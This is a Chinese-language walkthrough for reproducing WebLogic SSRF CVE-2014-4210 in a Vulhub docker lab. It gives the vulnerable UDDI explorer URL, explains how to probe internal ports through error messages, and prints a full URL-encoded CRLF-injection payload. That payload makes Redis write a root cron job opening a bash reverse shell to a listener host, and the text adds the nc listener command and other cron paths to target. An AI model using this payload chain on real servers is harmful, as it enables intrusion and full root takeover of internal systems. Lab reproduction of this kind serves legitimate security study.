漏洞描述
SSRF(Server-Side Request Forgery),服务端请求伪造,是一种由攻击者构造形成由服务端发起请求的一个漏洞,一般情况下,SSRF攻击的目标是从外部网络无法访问的内部系统。
影响范围
10.0.2
10.3.6
复现环境搭建(CVE-2014-4210)
Vulhub中的ssrf环境,进入vulhub/Weblogic/ssrf 目录
使用:docker-compose up -d 命令启动
注意:默认会指定端口为 7001
以及6379
,启动两个服务才算搭建成功
复现步骤
漏洞发现
SSRF漏洞存在于以下url中,直接访问无需密码
http://your-ip:7001/uddiexplorer/SearchPublicRegistries.jsp
抓包测试 burp suite
点击search,我们在brupsuite下测试。访问一个可以访问的IP:PORT
如:http://127.0.0.1:7001
利用:operator=http%3A%2F%2Fwww-3.ibm.com%2Fservices%2Fuddi%2Finquiryapi& 参数构造payload
可访问的端口将会得到错误,一般是返回404(如下图)
一个非http的协议则会返回 did not have a valid SOAP
修改为一个不存在的端口,将会返回could not connect over HTTP to server。
通过错误的不同,即可探测内网状态。
注入HTTP头,利用Redis反弹shell
Weblogic的SSRF有一个比较大的特点,其虽然是一个“GET”请求,但是我们可以通过传入%0a%0d来注入换行符,而某些服务(如redis)是通过换行符来分隔每条命令,也就说我们可以通过该SSRF攻击内网中的redis服务器。
首先,通过ssrf探测内网中的redis服务器
(docker环境的网段一般是172.*),通过报错判断出 172.20.0.2:6379
存在redis服务
发送三条redis命令,将弹shell脚本写入/etc/crontab:
set 1 "\n\n\n\n* * * * * root bash -i >& /dev/tcp/172.20.0.2/5003 0>&1\n\n\n\n"
config set dir /etc/
config set dbfilename crontab
save
把这三条命令通过get包注入进去,先要将命令用url进行编码
注意,换行符是”\r\n”,也就是”%0D%0A”。
test%0D%0A%0D%0Aset%201%20%22%5Cn%5Cn%5Cn%5Cn*%20*%20*%20*%20*%20root%20bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F172.20.0.1%2F5003%200%3E%261%5Cn%5Cn%5Cn%5Cn%22%0D%0Aconfig%20set%20dir%20%2Fetc%2F%0D%0Aconfig%20set%20dbfilename%20crontab%0D%0Asave%0D%0A%0D%0Aaaa
# 172.20.0.1:为监听ip地址
# 5003:为监听机器端口
# 172.20.0.2:6379 为内网探测的redis地址及端口。
将url编码后的字符串放在ssrf的域名后面,发送:
监听机器开启监听反弹shell
nc -lvnp 5003
补充注意
可进行利用的cron有如下几个地方:
- /etc/crontab 这个是肯定的
- /etc/cron.d/* 将任意文件写到该目录下,效果和crontab相同,格式也要和/etc/crontab相同。漏洞利用这个目录,可以做到不覆盖任何其他文件的情况进行弹shell。
- /var/spool/cron/root centos系统下root用户的cron文件
- /var/spool/cron/crontabs/root debian系统下root用户的cron文件